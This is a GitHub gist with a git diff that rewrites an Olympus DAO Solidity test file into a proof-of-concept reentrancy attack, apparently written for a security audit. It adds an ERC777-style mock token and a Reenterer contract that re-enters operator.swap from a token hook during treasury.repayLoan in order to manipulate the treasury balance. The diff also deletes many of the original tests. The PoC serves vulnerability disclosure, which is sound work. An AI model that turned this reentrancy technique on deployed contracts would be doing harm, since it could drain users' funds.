Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@zzzitron
Created September 1, 2022 11:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zzzitron/5b8ebe635ed1939f18a100c7940b4f11 to your computer and use it in GitHub Desktop.
Save zzzitron/5b8ebe635ed1939f18a100c7940b4f11 to your computer and use it in GitHub Desktop.
2022-08-olympus git diff from Operator.t.sol
diff --git a/src/test/policies/Operator.t.sol b/src/test/poc/reenter.poc.sol
index e09aec1..edd7033 100644
--- a/src/test/policies/Operator.t.sol
+++ b/src/test/poc/reenter.poc.sol
@@ -9,6 +9,7 @@ import {BondFixedTermCDA} from "test/lib/bonds/BondFixedTermCDA.sol";
import {BondAggregator} from "test/lib/bonds/BondAggregator.sol";
import {BondFixedTermTeller} from "test/lib/bonds/BondFixedTermTeller.sol";
import {RolesAuthority, Authority as SolmateAuthority} from "solmate/auth/authorities/RolesAuthority.sol";
+import {ModuleTestFixtureGenerator} from "test/lib/ModuleTestFixtureGenerator.sol";
import {MockERC20, ERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {MockPrice} from "test/mocks/MockPrice.sol";
@@ -25,6 +26,58 @@ import {OlympusMinter, OHM} from "modules/MINTR.sol";
import {Operator} from "policies/Operator.sol";
import {BondCallback} from "policies/BondCallback.sol";
+import {TreasuryCustodian} from "src/policies/TreasuryCustodian.sol";
+
+
+contract MockERC777 is MockERC20 {
+ constructor () MockERC20("ERC777", "777", 18) {}
+
+ function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
+ _callTokenToSend(from, to, amount);
+ return super.transferFrom(from, to, amount);
+ // _callTokenReceived(from, to, amount);
+ }
+
+ // simplified implementation for ERC777
+ function _callTokenToSend(address from, address to, uint256 amount) private {
+ if (from != address(0)) {
+ IERC777Sender(from).tokensToSend(from, to, amount);
+ }
+ }
+}
+
+interface IERC777Sender {
+ function tokensToSend(address from, address to, uint256 amount) external;
+}
+
+contract Reenterer is IERC777Sender {
+ ERC20 public token;
+ Operator public operator;
+ bool public entered;
+
+ constructor(address token_, Operator op_) {
+ token = ERC20(token_);
+ operator = op_;
+ }
+
+ function tokensToSend(address from, address to, uint256 amount) external override {
+ if (!entered) {
+ // call swap from reenter
+ // which will manipulate the balance of treasury
+ entered = true;
+ operator.swap(token, 1e17, 0);
+ }
+ }
+
+ function attack(OlympusTreasury treasury) public {
+ // approve to the treasury
+ token.approve(address(treasury), 1e18);
+ token.approve(address(operator), 100* 1e18);
+
+ // repayDebt of 1e17
+ treasury.repayLoan(token, 1e17);
+ }
+}
contract MockOhm is ERC20 {
constructor(
@@ -43,8 +96,9 @@ contract MockOhm is ERC20 {
}
// solhint-disable-next-line max-states-count
-contract OperatorTest is Test {
+contract PocReenterTest is Test {
using FullMath for uint256;
+ using ModuleTestFixtureGenerator for OlympusTreasury;
UserFactory public userCreator;
address internal alice;
@@ -65,9 +119,13 @@ contract OperatorTest is Test {
OlympusRange internal range;
OlympusTreasury internal treasury;
OlympusMinter internal minter;
+ MockERC20 public ngmi;
Operator internal operator;
BondCallback internal callback;
+ TreasuryCustodian internal custodian;
+
+ Reenterer internal reenterer;
function setUp() public {
vm.warp(51 * 365 * 24 * 60 * 60); // Set timestamp at roughly Jan 1, 2021 (51 years since Unix epoch)
@@ -95,7 +153,8 @@ contract OperatorTest is Test {
{
/// Deploy mock tokens
ohm = new MockOhm("Olympus", "OHM", 9);
- reserve = new MockERC20("Reserve", "RSV", 18);
+ // use ERC777 kind of token as reserve
+ reserve = MockERC20(new MockERC777());
}
{
@@ -143,6 +202,9 @@ contract OperatorTest is Test {
/// Registor operator to create bond markets with a callback
vm.prank(guardian);
auctioneer.setCallbackAuthStatus(address(operator), true);
+
+ /// Deploy treasury custodian
+ custodian = new TreasuryCustodian(kernel);
}
{
@@ -157,6 +219,7 @@ contract OperatorTest is Test {
/// Approve policies
kernel.executeAction(Actions.ActivatePolicy, address(operator));
kernel.executeAction(Actions.ActivatePolicy, address(callback));
+ kernel.executeAction(Actions.ActivatePolicy, address(custodian));
}
{
/// Configure access control
@@ -172,6 +235,9 @@ contract OperatorTest is Test {
kernel.grantRole(toRole("callback_whitelist"), address(operator));
kernel.grantRole(toRole("callback_whitelist"), guardian);
kernel.grantRole(toRole("callback_admin"), guardian);
+
+ /// treasury custodian role
+ kernel.grantRole(toRole("custodian"), address(this));
}
/// Set operator on the callback
@@ -197,1928 +263,24 @@ contract OperatorTest is Test {
ohm.approve(address(teller), testOhm * 20);
vm.prank(alice);
reserve.approve(address(teller), testReserve * 20);
- }
-
- /* ========== HELPER FUNCTIONS ========== */
- function knockDownWall(bool high_) internal returns (uint256 amountIn, uint256 amountOut) {
- if (high_) {
- /// Get current capacity of the high wall
- /// Set amount in to put capacity 1 below the threshold for shutting down the wall
- uint256 startCapacity = range.capacity(true);
- uint256 highWallPrice = range.price(true, true);
- amountIn = startCapacity.mulDiv(highWallPrice, 1e9).mulDiv(9999, 10000) + 1;
-
- uint256 expAmountOut = operator.getAmountOut(reserve, amountIn);
-
- /// Swap at the high wall
- vm.prank(alice);
- amountOut = operator.swap(reserve, amountIn, expAmountOut);
- } else {
- /// Get current capacity of the low wall
- /// Set amount in to put capacity 1 below the threshold for shutting down the wall
- uint256 startCapacity = range.capacity(false);
- uint256 lowWallPrice = range.price(true, false);
- amountIn = startCapacity.mulDiv(1e9, lowWallPrice).mulDiv(9999, 10000) + 1;
-
- uint256 expAmountOut = operator.getAmountOut(ohm, amountIn);
-
- /// Swap at the low wall
- vm.prank(alice);
- amountOut = operator.swap(ohm, amountIn, expAmountOut);
- }
- }
-
- /* ========== WALL TESTS ========== */
-
- /// DONE
- /// [X] Able to swap when walls are up
- /// [X] Splippage check when swapping
- /// [X] Wall breaks when capacity drops below the configured threshold
- /// [X] Not able to swap at the walls when they are down
-
- function testCorrectness_swapHighWall() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get current capacity of the high wall and starting balance for user
- uint256 startCapacity = range.capacity(true);
- uint256 amountIn = 100 * 1e18;
- uint256 ohmBalance = ohm.balanceOf(alice);
- uint256 reserveBalance = reserve.balanceOf(alice);
-
- /// Calculate expected difference
- uint256 highWallPrice = range.price(true, true);
- uint256 expAmountOut = amountIn.mulDiv(1e9 * 1e18, 1e18 * highWallPrice);
-
- /// Swap at the high wall
- vm.prank(alice);
- uint256 amountOut = operator.swap(reserve, amountIn, expAmountOut);
-
- /// Get updated capacity of the high wall
- uint256 endCapacity = range.capacity(true);
-
- assertEq(amountOut, expAmountOut);
- assertEq(endCapacity, startCapacity - amountOut);
- assertEq(ohm.balanceOf(alice), ohmBalance + amountOut);
- assertEq(reserve.balanceOf(alice), reserveBalance - amountIn);
- }
-
- function testCorrectness_swapLowWall() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get current capacity of the high wall and starting balance for user
- uint256 startCapacity = range.capacity(false);
- uint256 amountIn = 100 * 1e9;
- uint256 ohmBalance = ohm.balanceOf(alice);
- uint256 reserveBalance = reserve.balanceOf(alice);
-
- /// Calculate expected difference
- uint256 lowWallPrice = range.price(true, false);
- uint256 expAmountOut = amountIn.mulDiv(1e18 * lowWallPrice, 1e9 * 1e18);
-
- /// Swap at the high wall
- vm.prank(alice);
- uint256 amountOut = operator.swap(ohm, amountIn, expAmountOut);
-
- /// Get updated capacity of the high wall
- uint256 endCapacity = range.capacity(false);
-
- assertEq(amountOut, expAmountOut);
- assertEq(endCapacity, startCapacity - amountOut);
- assertEq(ohm.balanceOf(alice), ohmBalance - amountIn);
- assertEq(reserve.balanceOf(alice), reserveBalance + amountOut);
- }
-
- function testCorrectness_highWallBreaksAtThreshold() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Get initial balances and capacity
- uint256 ohmBalance = ohm.balanceOf(alice);
- uint256 reserveBalance = reserve.balanceOf(alice);
- uint256 startCapacity = range.capacity(true);
-
- /// Take down wall with helper function
- (uint256 amountIn, uint256 amountOut) = knockDownWall(true);
-
- /// Get updated capacity of the high wall
- uint256 endCapacity = range.capacity(true);
-
- /// Confirm the wall is down
- assertTrue(!range.active(true));
-
- /// Check that capacity and balances are correct
- assertEq(endCapacity, startCapacity - amountOut);
- assertEq(ohm.balanceOf(alice), ohmBalance + amountOut);
- assertEq(reserve.balanceOf(alice), reserveBalance - amountIn);
- }
-
- function testCorrectness_lowWallBreaksAtThreshold() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Get initial balances and capacity
- uint256 ohmBalance = ohm.balanceOf(alice);
- uint256 reserveBalance = reserve.balanceOf(alice);
- uint256 startCapacity = range.capacity(false);
-
- /// Take down wall with helper function
- (uint256 amountIn, uint256 amountOut) = knockDownWall(false);
-
- /// Get updated capacity of the high wall
- uint256 endCapacity = range.capacity(false);
-
- /// Confirm the wall is down
- assertTrue(!range.active(false));
-
- /// Check that capacity and balances are correct
- assertEq(endCapacity, startCapacity - amountOut);
- assertEq(ohm.balanceOf(alice), ohmBalance - amountIn);
- assertEq(reserve.balanceOf(alice), reserveBalance + amountOut);
- }
-
- function testCorrectness_cannotSwapHighWallWhenDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down wall with helper function
- knockDownWall(true);
-
- /// Try to swap, expect to fail
- uint256 amountIn = 100 * 1e18;
- uint256 expAmountOut = amountIn.mulDiv(1e9 * 1e18, 1e18 * range.price(true, true));
-
- bytes memory err = abi.encodeWithSignature("Operator_WallDown()");
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(reserve, amountIn, expAmountOut);
- }
-
- function testCorrectness_cannotSwapLowWallWhenDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down wall with helper function
- knockDownWall(false);
-
- /// Try to swap, expect to fail
- uint256 amountIn = 100 * 1e9;
- uint256 expAmountOut = amountIn.mulDiv(1e18 * range.price(true, false), 1e9 * 1e18);
-
- bytes memory err = abi.encodeWithSignature("Operator_WallDown()");
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(ohm, amountIn, expAmountOut);
- }
-
- function testCorrectness_swapRevertsOnSlippage() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm walls are up
- assertTrue(range.active(true));
- assertTrue(range.active(false));
-
- /// Set amounts for high wall swap with minAmountOut greater than expAmountOut
- uint256 amountIn = 100 * 1e18;
- uint256 expAmountOut = amountIn.mulDiv(1e9 * 1e18, 1e18 * range.price(true, true));
- uint256 minAmountOut = expAmountOut + 1;
-
- /// Try to swap at low wall, expect to fail
- bytes memory err = abi.encodeWithSignature(
- "Operator_AmountLessThanMinimum(uint256,uint256)",
- expAmountOut,
- minAmountOut
- );
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(reserve, amountIn, minAmountOut);
-
- /// Set amounts for low wall swap with minAmountOut greater than expAmountOut
- amountIn = 100 * 1e9;
- expAmountOut = amountIn.mulDiv(1e18 * range.price(true, false), 1e9 * 1e18);
- minAmountOut = expAmountOut + 1;
-
- /// Try to swap at low wall, expect to fail
- err = abi.encodeWithSignature(
- "Operator_AmountLessThanMinimum(uint256,uint256)",
- expAmountOut,
- minAmountOut
- );
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(ohm, amountIn, minAmountOut);
- }
-
- function testCorrectness_swapRevertsWithInvalidToken() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm walls are up
- assertTrue(range.active(true));
- assertTrue(range.active(false));
-
- /// Try to swap with invalid token, expect to fail
- uint256 amountIn = 100 * 1e18;
- uint256 minAmountOut = 100 * 1e18;
- ERC20 token = ERC20(bob);
-
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(token, amountIn, minAmountOut);
- }
-
- /* ========== CUSHION TESTS ========== */
-
- /// DONE
- /// [X] Cushions deployed when price set in the range and operate triggered
- /// [X] Cushions deactivated when price out of range and operate triggered or when wall goes down
- /// [X] Cushion doesn't deploy when wall is down
- /// [X] Bond purchases update capacity
-
- function testCorrectness_highCushionDeployedInSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- uint256 marketId = range.market(true);
- assertTrue(auctioneer.isLive(marketId));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(marketId);
- // console2.log("capacity", marketCapacity);
- assertEq(marketCapacity, range.capacity(true).mulDiv(config.cushionFactor, 1e4));
-
- /// Check that the price is set correctly
- // (, , , , , , , , , , , uint256 scale) = auctioneer.markets(marketId);
- // uint256 price = auctioneer.marketPrice(marketId);
- // console2.log("price", price);
- // console2.log("scale", scale);
- uint256 payout = auctioneer.payoutFor(120 * 1e18, marketId, alice);
- assertEq(payout, 1e9);
- }
-
- function testCorrectness_highCushionClosedBelowSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- assertTrue(auctioneer.isLive(range.market(true)));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(range.market(true));
- assertEq(marketCapacity, range.capacity(true).mulDiv(config.cushionFactor, 1e4));
-
- /// Set price on mock oracle below the high cushion
- price.setLastPrice(105 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- marketCapacity = auctioneer.currentCapacity(range.market(true));
- assertEq(marketCapacity, 0);
- }
-
- function testCorrectness_highCushionClosedAboveSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- assertTrue(auctioneer.isLive(range.market(true)));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(range.market(true));
- assertEq(marketCapacity, range.capacity(true).mulDiv(config.cushionFactor, 1e4));
-
- /// Set price on mock oracle below the high cushion
- price.setLastPrice(130 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- marketCapacity = auctioneer.currentCapacity(range.market(true));
- assertEq(marketCapacity, 0);
- }
-
- function testCorrectness_highCushionClosedWhenWallDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- assertTrue(auctioneer.isLive(range.market(true)));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(true)));
- }
-
- function testCorrectness_highCushionNotDeployedWhenWallDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Set price on mock oracle into the low cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(true)));
- }
-
- function testCorrectness_lowCushionDeployedInSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- uint256 marketId = range.market(false);
- assertTrue(auctioneer.isLive(marketId));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(marketId);
- assertEq(marketCapacity, range.capacity(false).mulDiv(config.cushionFactor, 1e4));
-
- /// Check that the price is set correctly
- // (, , , , , , , , , , , uint256 scale) = auctioneer.markets(marketId);
- // uint256 price = auctioneer.marketPrice(marketId);
- // console2.log("price", price);
- // console2.log("scale", scale);
- uint256 payout = auctioneer.payoutFor(1e9, marketId, alice);
- assertEq(payout, 80 * 1e18);
- }
-
- function testCorrectness_lowCushionClosedBelowSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- assertTrue(auctioneer.isLive(range.market(false)));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(range.market(false));
- assertEq(marketCapacity, range.capacity(false).mulDiv(config.cushionFactor, 1e4));
-
- /// Set price on mock oracle below the high cushion
- price.setLastPrice(79 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- marketCapacity = auctioneer.currentCapacity(range.market(false));
- assertEq(marketCapacity, 0);
- }
-
- function testCorrectness_lowCushionClosedAboveSpread() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed and capacity is set to the correct amount
- assertTrue(auctioneer.isLive(range.market(false)));
-
- Operator.Config memory config = operator.config();
- uint256 marketCapacity = auctioneer.currentCapacity(range.market(false));
- assertEq(marketCapacity, range.capacity(false).mulDiv(config.cushionFactor, 1e4));
-
- /// Set price on mock oracle below the high cushion
- price.setLastPrice(91 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- marketCapacity = auctioneer.currentCapacity(range.market(false));
- assertEq(marketCapacity, 0);
- }
-
- function testCorrectness_lowCushionClosedWhenWallDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- /// Set price on mock oracle into the low cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- assertTrue(auctioneer.isLive(range.market(false)));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the cushion is closed
- assertTrue(!auctioneer.isLive(range.market(false)));
- }
-
- function testCorrectness_lowCushionNotDeployedWhenWallDown() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Set price on mock oracle into the low cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is not deployed
- assertTrue(!auctioneer.isLive(range.market(false)));
- }
-
- function test_marketClosesAsExpected1() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
- /// Assert high wall is up
- assertTrue(range.active(true));
-
- /// Set price below the moving average to almost regenerate high wall
- price.setLastPrice(99 * 1e18);
+ /// set debt
+ {
+ reenterer = new Reenterer(address(reserve), operator);
- /// Trigger the operator function enough times to almost regenerate the high wall
- for (uint256 i; i < 4; ++i) {
- vm.prank(guardian);
- operator.operate();
+ custodian.increaseDebt(reserve, address(reenterer), 1e18);
}
-
- /// Ensure market not live yet
- uint256 currentMarket = range.market(true);
- assertEq(type(uint256).max, currentMarket);
-
- /// Cause price to spike to trigger high cushion
- uint256 cushionPrice = range.price(false, true);
- price.setLastPrice(cushionPrice + 500);
- vm.prank(guardian);
- operator.operate();
-
- /// Check market is live
- currentMarket = range.market(true);
- assertTrue(type(uint256).max != currentMarket);
- assertTrue(auctioneer.isLive(currentMarket));
-
- /// Cause price to go back down to moving average
- /// Move time forward past the regen period to trigger high wall regeneration
- vm.warp(block.timestamp + 1 hours);
-
- /// Will trigger regeneration of high wall
- /// Will set the operator market on high side to type(uint256).max
- /// However, the prior market will still be live when it's supposed to be deactivated
- price.setLastPrice(95 * 1e18);
- vm.prank(guardian);
- operator.operate();
- /// Get latest market
- uint256 newMarket = range.market(true);
-
- /// Check market has been updated to non existent market
- assertTrue(type(uint256).max == newMarket);
- /// And, the previous market is closed
- assertTrue(!auctioneer.isLive(currentMarket));
- }
-
- function test_marketClosesAsExpected2() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Assert high wall is up
- assertTrue(range.active(true));
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Get current market
- uint256 currentMarket = range.market(true);
-
- /// Check market has been updated and is live
- assertTrue(type(uint256).max != currentMarket);
- assertTrue(auctioneer.isLive(currentMarket));
-
- /// Take down wall
- knockDownWall(true);
-
- /// Get latest market
- uint256 newMarket = range.market(true);
-
- /// Check market has been updated to non existent market
- assertTrue(type(uint256).max == newMarket);
- /// And the previous market is closed
- assertTrue(!auctioneer.isLive(currentMarket));
}
- function testCorrectness_highCushionPurchasesReduceCapacity() public {
- /// Initialize operator
+ function test_poc__reenter() public {
vm.prank(guardian);
operator.initialize();
- /// Get the start capacity of the high side
- uint256 startCapacity = range.capacity(true);
-
- /// Set price on mock oracle into the high cushion
- price.setLastPrice(111 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- uint256 id = range.market(true);
- assertTrue(auctioneer.isLive(id));
-
- /// Set amount to purchase from cushion (which will be at wall price initially)
- uint256 amountIn = auctioneer.maxAmountAccepted(id, guardian) / 2;
- uint256 minAmountOut = auctioneer.payoutFor(amountIn, id, guardian);
-
- /// Purchase from cushion
- vm.prank(alice);
- (uint256 payout, ) = teller.purchase(alice, guardian, id, amountIn, minAmountOut);
-
- /// Check that the side capacity has been reduced by the amount of the payout
- assertEq(range.capacity(true), startCapacity - payout);
- }
-
- function testCorrectness_lowCushionPurchasesReduceCapacity() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get the start capacity of the low side
- uint256 startCapacity = range.capacity(false);
-
- /// Set price on mock oracle into the low cushion
- price.setLastPrice(89 * 1e18);
-
- /// Trigger the operate function manually
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- uint256 id = range.market(false);
- assertTrue(auctioneer.isLive(id));
-
- /// Set amount to purchase from cushion (which will be at wall price initially)
- uint256 amountIn = auctioneer.maxAmountAccepted(id, guardian) / 2;
- uint256 minAmountOut = auctioneer.payoutFor(amountIn, id, guardian);
-
- /// Purchase from cushion
- vm.prank(alice);
- (uint256 payout, ) = teller.purchase(alice, guardian, id, amountIn, minAmountOut);
-
- /// Check that the side capacity has been reduced by the amount of the payout
- assertEq(range.capacity(false), startCapacity - payout);
- }
-
- /* ========== REGENERATION TESTS ========== */
-
- /// DONE
- /// [X] Wall regenerates when price on other side of MA for enough observations
- /// [X] Wrap around logic works for counting observations
- /// [X] Regen period enforces a minimum time to wait for regeneration
-
- function testCorrectness_lowWallRegenA() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests the simplest case of regen
- /// Takes down wall, moves price in regen range,
- /// and hits regen count required with consequtive calls
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the wall is down
- assertTrue(!range.active(false));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the low wall and verify under threshold
- uint256 startCapacity = range.capacity(false);
- uint256 fullCapacity = operator.fullCapacity(false);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is up
- assertTrue(range.active(false));
-
- /// Check that the capacity has regenerated
- uint256 endCapacity = range.capacity(false);
- assertEq(endCapacity, fullCapacity);
- }
-
- function testCorrectness_lowWallRegenB() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests wrap around logic of regen
- /// Takes down wall, calls operate a few times with price not in regen range,
- /// moves price into regen range, and hits regen count required with consequtive calls
- /// that wrap around the count array
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the wall is down
- assertTrue(!range.active(false));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the low wall and verify under threshold
- uint256 startCapacity = range.capacity(false);
- uint256 fullCapacity = operator.fullCapacity(false);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price below the moving average so regeneration doesn't start
- price.setLastPrice(98 * 1e18);
-
- /// Trigger the operator function with negative
- for (uint256 i; i < 8; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(false));
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is up
- assertTrue(range.active(false));
-
- /// Check that the capacity has regenerated
- uint256 endCapacity = range.capacity(false);
- assertEq(endCapacity, fullCapacity);
- }
-
- function testCorrectness_lowWallRegenC() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that wall does not regenerate before the required count is reached
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the wall is down
- assertTrue(!range.active(false));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the low wall and verify under threshold
- uint256 startCapacity = range.capacity(false);
- uint256 fullCapacity = operator.fullCapacity(false);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 4; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(false));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(false);
- assertEq(endCapacity, startCapacity);
- }
-
- function testCorrectness_lowWallRegenD() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that wall does not regenerate before the required count is reached
- /// Use more complex logic to ensure wrap around logic is working and
- /// that positive checks outside the moving window aren't counted
- /// observations should be: +, -, -, -, +, +, +, +
- /// last observation wraps around to first and therefore only 4/7 of the observations are counted
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the wall is down
- assertTrue(!range.active(false));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the low wall and verify under threshold
- uint256 startCapacity = range.capacity(false);
- uint256 fullCapacity = operator.fullCapacity(false);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator once to get a positive check
- vm.prank(guardian);
- operator.operate();
-
- /// Set price below the moving average to get negative checks
- price.setLastPrice(99 * 1e18);
-
- /// Trigger the operator function several times with negative checks
- for (uint256 i; i < 3; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function several times with positive checks
- for (uint256 i; i < 4; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(false));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(false);
- assertEq(endCapacity, startCapacity);
- }
-
